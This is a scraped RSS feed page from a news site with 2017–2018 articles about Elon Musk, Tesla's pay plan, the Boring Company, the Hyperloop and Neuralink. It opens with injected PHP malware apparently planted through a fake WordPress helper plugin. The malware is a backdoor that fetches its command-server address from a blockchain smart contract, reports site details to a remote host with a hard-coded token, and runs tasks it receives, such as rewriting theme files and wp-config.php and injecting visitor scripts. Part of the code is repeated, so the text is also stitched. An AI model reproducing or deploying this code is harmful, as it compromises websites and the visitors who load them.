// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; 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}elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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} $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Musk&#039s – Brief News https://briefnews.eu Latest World News. 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U.S. regulators are asking Tesla Inc why Chief Executive Elon Musk announced his plan to take the electric carmaker private on Twitter and whether his statement was truthful, the Wall Street Journal reported on Wednesday.

Musk announced his plan on his personal Twitter account on Tuesday, and the U.S. Securities and Exchange Commission has asked Tesla about the facts of the matter, why it was disclosed on Twitter rather than in a regulatory filing and whether it believed investor-protection rul

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]]> https://briefnews.eu/u-s-sec-examining-musks-tweets-on-taking-tesla-private/feed/ 0 British caver says he's consulting lawyers over Elon Musk's comments https://briefnews.eu/british-caver-says-hes-consulting-lawyers-over-elon-musks-comments/ https://briefnews.eu/british-caver-says-hes-consulting-lawyers-over-elon-musks-comments/#respond Wed, 18 Jul 2018 03:15:08 +0000 http://briefnews.eu/british-caver-says-hes-consulting-lawyers-over-elon-musks-comments/ Autoblog ist jetzt Teil der Oath-Familie.
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]]> https://briefnews.eu/tesla-faces-lawsuit-over-elon-musks-compensation-package/feed/ 0 Tesla shareholders approve Elon Musk's $2.6 billion compensation plan https://briefnews.eu/tesla-shareholders-approve-elon-musks-2-6-billion-compensation-plan/ https://briefnews.eu/tesla-shareholders-approve-elon-musks-2-6-billion-compensation-plan/#respond Thu, 22 Mar 2018 15:41:51 +0000 http://briefnews.eu/tesla-shareholders-approve-elon-musks-2-6-billion-compensation-plan/

SAN FRANCISCO/BOSTON — Shareholders of electric car company Tesla approved a compensation package potentially worth $ 2.6 billion for Chief Executive Officer Elon Musk on Wednesday, though by a lower margin than U.S. CEOs typically receive on pay votes.

Excluding votes by Musk and his brother Kimbal, the measure passed with about 73 percent of votes cast. Including the Musk votes, the award passed with about 80 percent support, Tesla said in a Securities and Exchange Commission filing.

The compensation award includes no salary or cash bonus for the Silicon Valley billionaire, but sets rewards based on Tesla’s market value rising to as much as $ 650 billion over the next 10 years.

The vote result indicated some, but not all big investors were prepared to support a large payout at the founder-led company. If achieved, the award surpasses anything previously granted to top U.S. executives, according to proxy advisory firm Institutional Shareholder Services, which had recommended votes against the compensation.

Musk could own as much as $ 55.8 billion in Tesla stock and more than a quarter of the electric car company in the next decade if he hits all targets of the new plan.

“At $ 2.6 billion, the grant value is unprecedented and sets the new high-water mark for an individual executive equity award at a U.S. public company,” ISS wrote last month. ISS said it valued the award even higher, at $ 3.7 billion.

Shares of Tesla are down 18 percent from a year high reached in September. The company has faced pressure on multiple fronts, from a cash crunch and production delays to increasing competition from rivals. Some investors are concerned that Musk is distracted by too many projects including his SpaceX rocket launches.

Compensation for the CEOs of large U.S. companies is typically approved by around 95 percent of votes cast in annual “say on pay” advisory votes. Musk’s potentially huge payout meant extra scrutiny. The vote total was 63,014,339 “for” votes and 23,407,632 against.

John Trentacoste, partner at pay consultant Farient Advisors, said the 73 percent support level shows “there is support, but skepticism” among investors for Musk’s pay plan.

Noting the 95 percent typical support level for CEO pay, he said Musk’s big payout has been roundly criticized. Ultimately the result, he said, “is not great comparatively, but for the amount of fodder that’s been around on this pay plan, I think it could be worse.”

Ahead of the vote tally, compensation consultant Brent Longnecker said any result above 70 percent would prompt Tesla to “breathe a sigh of relief.”

Before Tesla began a special shareholder meeting on Wednesday, a spokesman for T. Rowe Price Group, Tesla’s fourth-largest investor with about 6 percent of its shares, told Reuters Musk’s pay plan “is well aligned with shareholders’ long-term interests.” But a smaller investor, the California State Teachers’ Retirement System (CalSTRS), said it planned to vote no.

CalSTRS is one of the nation’s largest public pension plans but only the 59th largest investor in Tesla, with a 0.13 percent stake.

“Given the size of the award, we believe the potential dilution to shareholders is just too great. In addition, we have concerns about the lack of focus on profitability for the company, and the one profitability metric that is used excludes the cost of stock-based compensation,” CalSTRS’ Director of Corporate Governance, Anne Sheehan, said in a statement.

Under the proposed award, which involves stock options that vest in 12 tranches, Tesla’s market value must increase to $ 100 billion for the first tranche to vest and rise in additional $ 50 billion increments for the remainder.

Tesla was valued at about $ 53.47 billion at Wednesday’s close, according to Thomson Reuters data. Its shares had fallen nearly 12 percent since the pay plan was announced, but rose 2 percent on Wednesday to close at $ 316.53.

Tesla has been struggling to manufacture its Model 3 sedan — for which it holds about 500,000 advance reservations — and has repeatedly pushed back production timelines.

The company has been burning through cash and expects spending to rise this year, even as a host of upcoming projects demand attention and capital, including the new Tesla Semi and the Model Y crossover.

A wave of electric vehicles on the horizon from rivals are also adding pressure. Global automakers from Ford Motor Co to Volkswagen AG are cumulatively investing $ 90 billion in electrification over the next five years, with luxury models from Audi and Tata Motors Ltd’s Jaguar due this summer.

Reporting by Alexandria Sage and Ross Kerber

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SHANGHAI — Talks between Telsa and Shanghai authorities over building a local manufacturing plant remain on track, the city government said on Tuesday, easing concerns of a breakdown in negotiations after the electric carmaker’s chief criticized Chinese trade rules last week on Twitter.

Tesla’s Chief Executive Elon Musk had fired off a series of tweets railing against an unequal playing field in China, which limits foreign ownership of Chinese ventures and imposes steep tariffs on imported cars.

The outburst raised questions over whether Tesla’s ongoing talks to build a manufacturing facility in China, the world’s largest auto market, had been shelved amid growing trade tensions between the United States and China.

The Shanghai government, however, said communication with Tesla had always been positive and the two sides “had a shared goal” to propel the development of China’s new-energy vehicle market, referring to full-electric and plug-in hybrid cars.

“Both sides will keep looking thoroughly at plans in China. Currently the details are still under discussion, once anything is confirmed we will announce it as quickly as possible,” it said in an emailed statement to Reuters.

“As Tesla CEO Elon Musk has said openly before, Tesla attaches great importance to its development and plans in China.”

Tesla officials in China did not immediately respond to a request for comment on Tuesday.

The U.S. firm has been pushing hard to build cars in China, but has hit roadblocks in negotiations with local authorities, in part because Musk is keen to keep full control of any local venture. China currently limits foreign ownership to 50 percent.

Last November Musk said he hoped the plant would be operating within three years, but Tesla and the Chinese authorities have yet to announce any agreement.

Musk’s tweets last week, directed at U.S. President Donald Trump, had said that rules in China were hindering Tesla’s ability to compete in the market. He called on Trump to help get a “fair outcome” in trade agreements.

“The current rules make things very difficult. It’s like competing in an Olympic race wearing lead shoes,” Musk wrote.

The Tesla CEO did, however, soften his tone in a later tweet, saying “China has already shown a willingness to open their markets, and I believe they will do the right thing.”

China, which is making a major push towards electric cars, requires foreign automakers to build factories in 50-50 joint ventures with domestic Chinese automakers and does not allow them to establish wholly owned factories.

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]]> https://briefnews.eu/shanghai-says-tesla-talks-on-track-despite-elon-musks-complaints-to-trump/feed/ 0 Elon Musk's Boring Company will prioritize pedestrians over cars https://briefnews.eu/elon-musks-boring-company-will-prioritize-pedestrians-over-cars/ https://briefnews.eu/elon-musks-boring-company-will-prioritize-pedestrians-over-cars/#respond Sat, 10 Mar 2018 21:11:49 +0000 http://briefnews.eu/elon-musks-boring-company-will-prioritize-pedestrians-over-cars/

While we ponder the state of hyperloop tunnel transportation, Elon Musk just updated the plan for The Boring Company. The tech exec tweeted out a new concept video that focuses on a shuttle instead of cars. The shuttle (seen briefly in the first Boring Company video) is intended to carry people and bikes, and Musk said that Boring Company’s loop network would have “1000’s of small stations the size of a single parking space.”

That way they could blend into a city and bring riders directly to their destination, instead of a subway-sized stop further away. Additionally, he tweeted that “all tunnels & Hyperloop will prioritize pedestrians & cyclists over cars.” While cars will still be in the mix, the current promise is that they’ll have to wait for personalized mass transit needs, possibly encouraging people to ditch space and energy-hogging autos to opt for transportation that benefits everyone.

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]]> https://briefnews.eu/elon-musks-boring-company-will-prioritize-pedestrians-over-cars/feed/ 0 Elon Musk's Boring Company to bid for Chicago downtown-to-airport link https://briefnews.eu/elon-musks-boring-company-to-bid-for-chicago-downtown-to-airport-link/ https://briefnews.eu/elon-musks-boring-company-to-bid-for-chicago-downtown-to-airport-link/#respond Thu, 30 Nov 2017 14:57:48 +0000 http://briefnews.eu/elon-musks-boring-company-to-bid-for-chicago-downtown-to-airport-link/

Elon Musk’s Boring Company, a project that plans to use futuristic underground pods to transport cars across long distances without traffic congestion, is starting to take shape.

Fresh from raising $ 300,000 from the sale of hats — an ‘initial hat offering’ — and getting permission for projects in Maryland, Musk has confirmed that the company will bid on a project to link downtown Chicago with O’Hare Airport.

The plan is to find an alternative to taxis or Uber rides, which are estimated to cost $ 40-$ 60.

“There’s a lot of room between the price of the CTA or parking to price a service in a way that you can make a lot of revenue,” Deputy Mayor Bob Rivkin told Chicago Sun Times.

The city is looking for initial proposals for a high-speed rail that will take travelers to the city in less than 20 minutes. The brief, according to Chicago Sun Times, covers “a structure built above or below ground,” which wouldn’t appear at first glance to preclude The Boring Company, although certainly under or over-ground trains are the convention for transportation links this this. Nonetheless, Musk plans to throw his Boring hat into the ring.

Proposals are due by January 23, after which the top candidates will be given an RFP to take things forward.

This is not the first time that the Tesla and SpaceX founder has answered the call of local government. Back in March, Tesla won a contract to develop the world’s largest power bank — a 100 MW/129 MWh battery bank to be precise — in Southern Australia as part of a state project to modernize the power grid and ensure more consistent delivery of electricity to households.

The battery was completed within Musk’s 100-day target — he promised it would be free otherwise — and it is all set to go live on December 1.

The Boring Company’s Chicago project is another ambitious effort, but we’ll see the fruits of the company’s vision — which Musk dreamed up while stuck in traffic last year — sooner than that. The first installation will be a tunnel under Hawthorne near SpaceX headquarters in California.

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]]> https://briefnews.eu/elon-musks-boring-company-to-bid-for-chicago-downtown-to-airport-link/feed/ 0 Elon Musk's underground traffic tunnel looks like hyperspace https://briefnews.eu/elon-musks-underground-traffic-tunnel-looks-like-hyperspace/ https://briefnews.eu/elon-musks-underground-traffic-tunnel-looks-like-hyperspace/#respond Fri, 12 May 2017 19:39:55 +0000 http://briefnews.eu/elon-musks-underground-traffic-tunnel-looks-like-hyperspace/

Elon Musk works fast. Just last month the Tesla CEO was showing off a concept video for how his solution to gridlocked traffic: a giant underground tunnel where rapidly propelled cars travel point A to point B on car-carrying sleds. Now we have footage of a recent test, using real cameras and a real tunnel. Of the Instagram video, Musk warned that it might cause motion sickness or seizures thanks to the rapid acceleration and flashing lights.

It’s hard to gauge if the sled is traveling at Musk’s promised 125 MPH, but if the tunnel’s lights are any indication, it looks a lot more expedient than sitting on the freeway during rush hour. Musk says that a trip between Westwood (where UCLA is headquartered) and Los Angeles International Airport via his tunnel system would take all of five minutes.

So yeah, it’d probably take you longer to get through security than it would to actually arrive at LAX with one of these. The future is a wild place, y’all.

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]]> https://briefnews.eu/elon-musks-underground-traffic-tunnel-looks-like-hyperspace/feed/ 0 This Invention Beat Elon Musk's Hyperloop … by 170 Years https://briefnews.eu/this-invention-beat-elon-musks-hyperloop-by-170-years/ https://briefnews.eu/this-invention-beat-elon-musks-hyperloop-by-170-years/#respond Tue, 18 Apr 2017 10:59:26 +0000 http://briefnews.eu/this-invention-beat-elon-musks-hyperloop-by-170-years/ When billionaire inventor Elon Musk announced his vision for a space-age system of solar-powered passenger pods propelled through vacuum tubes at supersonic speeds, he wasn’t shy about its potential, calling it the “fifth mode of transport” after road, rail, sea and air. The Hyperloop, which he claims is a “cross between a Concorde and a railgun and an air hockey table,” could make the 350-mile journey between Los Angeles and San Francisco in 35 minutes, according to preliminary designs. But it’s not the world’s first transportation system based on vacuum tubes and pneumatic suction — a concept that stretches back to Victorian Britain.

The most high-profile “atmospheric railway” was built by legendary engineer Isambard Kingdom Brunel, the veritable Musk of his day. Admittedly, there were no solar panels or supersonic speeds in sight, but the system that ran on Brunel’s roughly 20-mile section of track between Exeter and Newton Abbot in southwest England relied upon a vacuum tube to propel trains at a peak speed of 70 miles per hour (as fast as the best steam trains then). At first glance, it didn’t look that different from traditional trains, except there was no steam locomotive — instead, there was “a great big pipe in the middle of the track” providing the propulsion, explains Robin Jones, editor of Heritage Railway magazine. The train was connected to a plunger, which was sucked along the pipe by a vacuum created through several huge pumping stations along the track. “They were driverless trains; you only had a brakeman,” says Jones, and after shipping its first passengers in September 1847, “all went well — the trains ran.” That is, until September of the following year, when technical difficulties bedeviling the system proved insurmountable, and it was abandoned.

Shareholders of the rail company eventually lost half a million pounds on the venture, quite the sum in the mid-19th century.

“There are parallels” to the Hyperloop, says Colin Divall, professor of railway studies at the University of York, but of course “there are also quite significant differences.” Crucially, the vacuum tube was the form of propulsion in Brunel’s railway, while for Musk the passenger pods are themselves inside the tube, with the vacuum only serving to reduce air resistance. In fact, another Victorian experiment, the Crystal Palace pneumatic railway in south London in the 1860s, looked more similar to the modern Hyperloop, with huge fans that would blow and suck wagons along an air-tight tunnel, but the 600-yard track was little more than a proof of concept.

Atmospheric railways were “a reaction to the limitations that some engineers perceived in steam locomotion,” says Divall. Less than two decades after Robert Stephenson’s Rocket locomotive heralded the dawn of steam rail travel in 1829, steam engines still struggled to get up gradients above one in 100. The world’s first functioning atmospheric railway was built on a short section of extremely steep track in Ireland in 1843, and short sections of atmospheric rail were installed in uphill sections of suburban transportation systems in Paris and London, but none of them compare to the ambition of Brunel’s mainline project. After visiting the Irish system, Brunel was smitten and convinced the South Devon Railway Company to let him install the technology on the hilly coastal route in southern England. He was originally commissioned to build pipes to suck trains all the way from Exeter to Plymouth — a 50-mile route — but his system never even made it halfway. Shareholders of the rail company eventually lost half a million pounds on the venture, quite the sum in the mid-19th century.

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Brunel “was defeated by the science of materials,” says Bob Gwynne, associate curator of the U.K.’s National Rail Museum. Before the invention of modern plastics and petroleum-based lubricants, the valves necessary to maintain air pressure were made of leather coated in whale oil, which proved vulnerable to the harsh coastal environment and hungry rats. Others are less charitable. “It was bonkers!” says Brunel biographer Adrian Vaughan. The system was unable to reverse, and because it had just one source of power, its top speed dropped as the load increased. The pumping stations were so costly that the system was built with just a single track, but the huge vacuum pipe made it difficult for trains running in opposite directions to pass. Brunel persevered with the system despite the scorn of other leading engineers, which was simply “pigheaded stubbornness,” says Vaughan.

Brunel, despite his legendary reputation as one of the greatest figures of the industrial revolution, was more blue-sky visionary than pragmatic engineer, says Divall. He also insisted on laying railways with a nonstandard seven-foot broad gauge (the distance between the tracks), which — despite their arguable superiority — were replaced by the end of the 19th century in order to unify the national network. The takeaway for Hyperloop enthusiasts? Potentially disruptive transportation technologies can fail when they are not compatible with existing infrastructure. “To grow beyond merely a niche,” says Divall, “it either has to find a way of becoming compatible with existing modes of transport or it has to demonstrate advantages which are so huge that the massive cost of the new infrastructure network can be justified.” Musk, in other words, has his work cut out for him.

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]]> https://briefnews.eu/this-invention-beat-elon-musks-hyperloop-by-170-years/feed/ 0 Elon Musk's Neuralink wants to plug AI into your brain https://briefnews.eu/elon-musks-neuralink-wants-to-plug-ai-into-your-brain/ https://briefnews.eu/elon-musks-neuralink-wants-to-plug-ai-into-your-brain/#respond Tue, 28 Mar 2017 13:25:36 +0000 http://briefnews.eu/elon-musks-neuralink-wants-to-plug-ai-into-your-brain/

Somewhere between rolling out new Teslas, launching re-usable rockets and digging a tunnel under Los Angeles, Elon Musk managed to start yet another new company. According to a Wall Street Journal report, Musk’s latest project is called Neuralink and its goal is to explore technology that can make direct connections between a human brain and a computer.

As the Journal reports, Musk has an “active role” in the California-based neuroscience startup, which aims to create cranial computers for treating diseases and, eventually, for building human-computer hybrids. During a conference last summer, Musk floated the idea that humans will need a boost of computer-assisted artificial intelligence if we hope to remain competitive as our machines get smarter.

Neuralink is registered in California as a medical research company and has reportedly already hired several high profile academics in the field of neuroscience: flexible electrodes and nano technology expert Dr. Venessa Tolosa; UCSF professor Philip Sabes, who also participated in the Musk-sponsored Beneficial AI conference; and Boston University professor Timothy Gardner, who studies neural pathways in the brains of songbirds.

Like Tesla or SpaceX, the company plans to present a working prototype to prove the technology is safe and viable before moving on to the more ambitious goal of increasing the performance of the human race. In this case, the prototype will likely be brain implants that can treat diseases like epilepsy, Parkinson’s or depression. Musk himself told Vanity Fair that he believes the technology for “a meaningful partial-brain interface” is only “roughly four or five years away.” But even if that proves successful, there’s still a long way to go before we’re plugging an AI directly into our brains.

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